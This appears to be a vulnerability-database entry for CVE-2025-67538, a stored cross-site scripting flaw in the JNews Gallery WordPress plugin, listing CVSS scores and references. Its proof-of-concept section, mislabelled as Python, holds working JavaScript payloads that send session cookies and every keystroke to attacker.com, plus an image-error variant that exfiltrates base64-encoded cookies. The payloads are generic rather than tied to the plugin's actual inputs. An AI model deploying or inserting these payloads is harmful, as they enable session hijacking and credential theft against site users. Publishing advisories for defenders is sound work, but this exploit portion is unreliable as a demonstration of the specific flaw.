CVE-2025-67538

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in jegtheme JNews Gallery jnews-gallery allows Stored XSS.This issue affects JNews Gallery: from n/a through < 12.0.1.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

jnews-gallery < 12.0.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Stored XSS PoC for CVE-2025-67538 -->
<!-- Attack vector: Inject malicious script via JNews Gallery input fields -->

<!-- Step 1: Craft the XSS payload -->
<script>
  // Steal session cookies
  var cookies = document.cookie;
  var img = new Image();
  img.src = 'https://attacker.com/log?cookie=' + encodeURIComponent(cookies);
  
  // Keylogger for credential theft
  document.addEventListener('keypress', function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://attacker.com/log', true);
    xhr.send(e.key);
  });
</script>

<!-- Alternative payload using event handlers -->
<img src=x onerror='fetch("https://attacker.com/steal?data="+btoa(document.cookie))'>

<!-- HTML entity encoded payload -->
&lt;script&gt;alert(document.domain)&lt;/script&gt;

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67538
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67538
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67538/
[4] VulDB https://vuldb.com/cve/CVE-2025-67538
[5] https://patchstack.com/database/Wordpress/Plugin/jnews-gallery/vulnerability/wordpress-jnews-gallery-plugin-12-0-1-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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